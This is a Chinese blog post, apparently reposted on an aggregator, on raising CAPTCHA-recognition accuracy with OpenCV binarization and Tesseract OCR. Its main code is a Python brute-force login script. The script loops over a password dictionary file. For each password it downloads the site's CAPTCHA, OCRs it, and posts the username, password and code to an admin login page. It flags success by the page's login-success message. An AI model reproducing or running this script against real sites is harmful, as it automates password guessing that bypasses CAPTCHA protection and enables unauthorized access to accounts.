验证码识别续

来源:互联网 发布:高性能开源网络库 编辑:程序博客网 时间:2024/04/30 15:25

目的:
之前识别 成功率太感人… 想着这一段起码写出来点东西吧 ,比如把之前的完善下 … 我学长写过一个成功率 90 的,我问问他然后把我的看看多少弥补点 … 提升下吧 …

构思:
学长说他的复杂,他是 openCV 处理 ,然后使用SVM 机器学习来识别,我之前的是利用 google 的 ORC 直接识别
最后成果是 ,使用 openCV 处理图片 , 处理过后效果比较好, ORC 识别情况还不错 , 所以没有使用 SVM 机器学习

效果图

我的理解:
低通滤波的效果相当于使模糊图片,减少噪点的影响,但是对识别数字 也有影响
高斯滤波是对某些点更为”照顾“
图像二值化,将图片变成只有黑白两种色
我没有用到滤波 ~~ 我觉得没有效果也不错 ~~

对我有帮助的连接:

    OpenCV Python教程(1、图像的载入、显示和保存)    http://blog.csdn.net/sunny2038/article/details/9057415    OpenCV-Python教程(5、初级滤波内容)    http://blog.csdn.net/sunny2038/article/details/9155893    图像的二值化之python+opencv    http://blog.csdn.net/what_lei/article/details/49159655    OpenCV 数字验证码识别  # C写的,有点遗憾 不过提供了主要的思路,帮助我写完了我的代码 #    http://blog.csdn.net/monkeyduck/article/details/46932663

代码:

#coding:utf-8import requestsimport timeimport Imageimport pytesseractimport cv2from optparse import OptionParser def cmdParse():    parser = OptionParser()    parser.add_option("-f",dest="dicPath",default=False,help="dict file path")    parser.add_option("-u",dest="user",default=False,help="user name")    parser.add_option("--url",dest="url",default=False,help="The data post url. Like www.baidu.com")    (option, args) = parser.parse_args()    return option.dicPath, option.url, option.user############# 验证码除噪def clearNoise():    img = cv2.imread("img.jpg")    grayImg = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)    ret, twoImg = cv2.threshold(grayImg, 127, 255, cv2.THRESH_BINARY)    cv2.imwrite("img.jpg",twoImg)############# 验证码分析def Analysis():    clearNoise()    image = Image.open("img.jpg")    return pytesseract.image_to_string(image)############# 验证码保存def imgSave(s,url):    urlCode = url + "/include/xxx.php"    resp = s.get(urlCode)    f = open("img.jpg","wb")    f.write(resp.content)       f.close()def Payload(user,pwd,vaCode):    return {"userid":user ,"pwd":pwd ,"gotopage":"xxx",        "dopost":"xxx" ,"xxx":"xxxx" ,"validate":vaCode}def header():    return {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'}def main():    i = 1    xing = "*"    truePwd = "......"    dicPath, url, user = cmdParse()    urlLogin = url + "/xxx/login.php"    s = requests.session()    # 打开字典文件    for pwd in open(dicPath):         # 每条密码匹配5次        for x in xrange(0,5):            imgSave(s,url)            vaCode = Analysis()            print vaCode            resp = s.post(urlLogin,data=Payload(user,pwd,vaCode),headers=header())            resp.encoding = resp.apparent_encoding            print x,xing*40,pwd            if u"成功登录,正在转向管理管理主页!" in resp.text:                truePwd = pwd            print "testing ........"        if i%10==0:            time.sleep(1)        i = i + 1    if truePwd != "......":        print truePwdif __name__ == '__main__':    main()
0 0
原创粉丝点击